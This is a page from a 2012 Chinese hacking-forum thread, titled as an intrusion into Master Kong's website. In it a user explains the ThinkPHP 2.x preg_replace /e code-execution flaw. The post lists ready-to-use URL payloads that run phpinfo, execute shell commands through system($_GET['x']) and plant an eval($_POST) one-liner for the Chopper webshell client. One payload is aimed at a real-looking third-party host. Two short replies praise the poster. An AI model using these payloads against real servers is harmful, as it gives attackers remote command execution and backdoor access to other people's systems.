# 渗透康师傅官网

**URL:** <https://forum.90sec.com/t/topic/3744>\
**Category:** 技术文章\
**Created:** [2012 年6 月 17 日 15:06 UTC](https://forum.90sec.com/t/topic/3744 "2012-06-17T15:06:07Z")\
**Posts on this page:** 3\
**Page:** 2

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2012 年6 月 18 日 09:08 UTC](https://forum.90sec.com/t/topic/3744/21 "2012-06-18T09:08:09Z")

</div>

ThinkPHP 漏洞  
2.0版本 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php

2.1版本/ThinkPHP/Lib/Core/Dispatcher.class.php

搜索preg\_replace 有一段替换使用了/e模式, 而且thinkphp底层没有提供参数的过滤， 这边就直接崩溃了。

测试代码

/index.php/Module/Action/Param/${@phpinfo()}

[http://www.js.10086.cn/wxcs/ppo/YC/index.php/Public/MedInsurance/1/%7B](http://www.js.10086.cn/wxcs/ppo/YC/index.php/Public/MedInsurance/1/%7B)$%7Bphpinfo()%7D%7D

/admin//index.php/public/login  
去掉login 版本信息出来

最近thinkphp框架爆出了一个任意代码执行漏洞，其威胁程序相当的高,漏洞利用方法如下：

index.php/module/aciton/param1/{@print(THINK\_VERSION)}index.php/module/aciton/param1/{@function\_all()}  
其中function\_all代表任何函数，比如:index.php/module/aciton/param1/${@phpinfo()}  
获取服务器的系统配置信息等。

index.php/module/action/param1/{{system(\_GET['x'])}}?x=ls -al  
列出网站文件列表

index.php/module/action/param1/{{eval(\_POST[s])}}  
直接执行一句话代码，用菜刀直接连接.

---

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年6 月 18 日 09:13 UTC](https://forum.90sec.com/t/topic/3744/22 "2012-06-18T09:13:54Z")

</div>

我不知道为什么要踩  
别人分享思路  
即使形式简单，也不应该叫装B

---

<div class="post-metadata">

作者： ![fake](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/f17d59/32.png) [@fake](https://forum.90sec.com/u/fake)\
发布日期： [2012 年6 月 19 日 08:48 UTC](https://forum.90sec.com/t/topic/3744/23 "2012-06-19T08:48:06Z")

</div>

楼主 V5.....

[上一页](https://forum.90sec.com/t/topic/3744.md?page=1)
